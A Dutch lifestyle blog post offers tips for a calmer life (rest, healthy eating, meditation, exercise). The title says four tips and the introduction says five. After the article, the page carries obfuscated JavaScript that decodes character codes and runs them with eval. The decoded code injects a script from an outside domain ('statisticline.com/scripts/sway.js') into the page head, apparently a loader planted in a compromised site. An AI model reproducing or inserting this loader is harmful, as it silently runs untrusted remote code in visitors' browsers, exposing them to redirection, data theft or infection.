4 tips voor een relaxter leven!

Kinderen, werk, sport, huishouden en sociale verplichtingen zijn de dagelijkse bezigheden van velen. Wie heeft er niet te maken met de hectiek van vandaag de dag? De druk ligt best wel hoog, want we zijn vandaag de dag best kritisch betreft ons eigen leven. We willen ons bijvoorbeeld vitaal voelen en dat ook uitstralen. Daarnaast willen we een goede moeder zijn, een spannende partner en als het even kan nog carrière maken.  Hoe we dat moeten aanpakken? Begin eens met een onderstaande 5 tips om relaxter door het leven te gaan. Vanuit een rustige state of mind zijn al jouw persoonlijke doelen sneller haalbaar!

Zorg voor voldoende rust

Las regelmatig een avondje voor jezelf in. Telefoon uit en even heerlijk genieten van een goede film of goed boek. Onze gedachten gaan de hele dag door. Het is bewezen effectief om een paar avonden te relaxen. Ook het luisteren van rustige muziek werkt zeer ontspannend. Mocht je een bad hebben, dan is een warm bad ook een heerlijk ‘me momentje’. 

Eet gezonde voeding

Dit advies is voor vele bekend, maar wordt door overvolle agenda’s nog wel eens over het hoofd gezien. Ongemerkt zitten veel mensen nog met een burger in de ene hand de laatste mails te checken bij een wegrestaurant. Af en toe moet dit natuurlijk kunnen. Echter zorgt voeding met gezonde voedingsstoffen dat je je lekker in je lichaam voelt. En niet geheel onbelangrijk: Je leeft langer & gelukkiger!

Mediteer dagelijks 15 minuten

Mediteren klinkt misschien wat zweverig, maar dat is allang achterhaald. Online kun je makkelijke wijzen vinden om te mediteren. Iedereen kan het namelijk. Het is een goed begin van de dag en hier heeft je lichaam & geest de hele dag profijt van. Als je in de vroege morgen nog in je heren badjas of dames badjas loopt kun je deze mooi aan houden tijdens het mediteren. Lekker comfy kleding is prettiger tijdens het mediteren.

Zorg voor voldoende lichaamsbeweging

Het cliché dat voldoende beweging meerdere voordelen met zich meebrengt is een feit! Éen van deze voordelen is dat je lekker in je vel gaat zitten. Beweeg iedere dag circa 20 minuten  intensief en je zult je relaxter voelen gedurende dag. En je blijft in shape ;-).

Met deze tips kun jij relaxed jouw leventje naar een hoger niveau tillen!

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);